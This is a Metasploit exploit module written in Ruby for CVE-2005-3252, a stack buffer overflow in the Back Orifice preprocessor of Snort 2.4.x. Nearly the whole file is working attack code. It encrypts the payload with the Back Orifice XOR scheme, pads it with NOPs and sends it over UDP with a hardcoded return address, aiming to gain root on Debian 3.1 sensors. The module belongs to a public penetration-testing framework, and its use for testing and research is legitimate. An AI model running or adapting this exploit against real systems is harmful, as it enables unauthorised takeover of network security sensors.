##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Back Orifice pre-processor module
          included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
          be used to completely compromise a Snort sensor, and would typically gain an attacker
          full root or administrative privileges.
        },
        'Author' => 'KaiJern Lau <xwings[at]mysec.org>',
        'License' => BSD_LICENSE,
        'References' => [
          ['CVE', '2005-3252'],
          ['OSVDB', '20034'],
          ['BID', '15131']
        ],
        'Payload' => {
          'Space' => 1073, # ret : 1069
          'BadChars' => "\x00"
        },
        'Targets' => [
          # Target 0: Debian 3.1 Sarge
          [
            'Debian 3.1 Sarge',
            {
              'Platform' => 'linux',
              'Ret' => 0xbffff350
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2005-10-18',
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9080),
      ]
    )
  end

  def msrand(_seed)
    @holdrand = 31337
  end

  def mrand
    return (((@holdrand = @holdrand * (214013 & 0xffffffff) + (2531011 & 0xffffffff)) >> 16) & 0x7fff)
  end

  def bocrypt(takepayload)
    @arrpayload = takepayload.split(//)

    encpayload = ''
    @holdrand = 0
    msrand(0)

    @arrpayload.each do |c|
      encpayload += c.unpack('C*').map { |v| (v ^ (mrand % 256)) }.join.to_i.chr
    end

    return encpayload
  end

  def exploit
    connect_udp

    boheader =
      '*!*QWTY?' +
      [1096].pack('V') +   # Length, thanx Russell Sanford
      "\xed\xac\xef\x0d" + # ID
      "\x01"               # PING

    filler = make_nops(1069 - (boheader.length + payload.encode.length))

    udp_sock.write(
      bocrypt(boheader + payload.encode + filler + [target.ret].pack('V'))
    )

    handler
    disconnect_udp
  end
end
